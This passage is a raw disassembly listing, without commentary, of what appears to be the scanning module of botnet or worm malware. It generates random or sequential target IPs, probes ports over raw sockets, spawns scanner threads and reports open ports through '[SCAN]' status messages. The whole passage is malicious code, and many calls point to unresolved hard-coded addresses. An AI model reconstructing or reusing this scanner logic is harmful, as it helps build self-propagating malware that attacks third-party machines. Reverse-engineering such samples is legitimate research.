[ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445420[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455EC mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455E8 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455E4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D808D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_4455E8 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax call near ptr 71AB3F41h nop push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455EC call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455E8 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D808D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:445402h[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F30 mov ecx, offset dword_449958 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8075 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445428[eax*4] inc ecx mov dword_445428[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAA8 nop call sub_5FADE9 mov eax, offset dword_50FAA8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB50[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax call near ptr 71AB2BC0h nop mov dword_50DB50[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi ; rand loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB50[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax call near ptr 71AB2B66h nop lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5FADE9 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456E4 loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 2800BE7h nop push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF8Bh[eax*4] mov eax, dword_44B18F[eax*4] mov ecx, dword_50DB54[eax*8] test ecx, ecx jz loc_423FBE mov ebx, off_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5FADE9 lea ecx, [esp+238h] push ecx push ebp call ebx ; sub_5FADE9 mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FA90 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5FADE9 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FA90 call near ptr 7C9010EDh nop jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5FADE9 mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:4453F8h[ecx*4] push edx push eax call ebx ; sub_5FADE9 mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx ; sub_5FADE9 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_445424[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h nop call near ptr 28502B8h mov eax, [ebp+204h] mov ecx, dword_50DB54[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 call near ptr 2850405h nop nop ; --------------------------------------------------------------------------- db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB50[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FA90 call near ptr 27A0721h nop push offset dword_50FA90 call near ptr 27A0DFAh nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB54[edx*8], ebx cmp eax, ebx mov ebx, off_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5FADE9 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B18F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B19F[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B19F[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj nop call near ptr 27E098Ch push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5FADE9 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB54[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB54[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB50[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5FADE9 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB54[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FA90 call near ptr 27A0721h nop loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 call near ptr 2850405h nop nop nop nop nop ; --------------------------------------------------------------------------- db 30h dup(0CCh) byte_424380 db 90h dup(0CCh) ; DATA XREF: sub_5AA2D1+BFBo ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax call near ptr 77C2C407h nop mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F34 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 